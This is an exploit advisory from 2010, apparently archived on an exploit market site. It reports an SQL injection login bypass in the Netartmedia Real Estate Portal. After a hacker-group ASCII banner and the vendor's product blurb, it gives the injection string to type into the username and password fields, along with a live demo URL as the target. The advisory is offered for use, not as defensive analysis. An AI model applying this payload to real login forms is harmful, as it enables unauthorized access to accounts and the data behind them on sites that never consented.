[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Netartmedia Real Estate Portal SQL Injection Vulnerability

Author
Sid3^effects
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-13024
Category
web applications
Date add
28-06-2010
Platform
php
==========================================================
Netartmedia Real Estate Portal SQL Injection Vulnerability
==========================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : Netartmedia Real Estate Portal SQLi Vulnerability
Date : june, 28 2010
Critical Level     : HIGH
Vendor Url : http://www.netartmedia.net/realestate/demo.html
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_,Sn!pEr.S!Te,n4pst3rr
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz
#######################################################################################################
Description:
Real Estate Portal allows you to launch powerful and professional looking real estate portals
with rich functionalities to post properties for sale or rent, search in the database, show featured ads and many others. The private sellers

can manage their ads at any time through their personal administration space. The product includes special functionalities for real estate

agents (to post and manage multiple ads) and affiliates (to earn commissions from the earnings from property ads posted through their links).

Real Estate Portal comes also with a powerful back office application providing full control over the web site (structure management,

templates, server side forms, detailed statistics) and the real estate portal (ads, sellers, agents, affiliates, statistics) to the

administrators.
###############################################################################################################

Xploit: SQLi VUlnerability

 
use this sql combo both in username and password ' or 1=1 or ''=' in the login section

DEMO URL : http://www.wscreator.com/realestate20/index.php

###############################################################################################################
# 0day no more
# Sid3^effects 



#  0day.today [2024-11-16]  #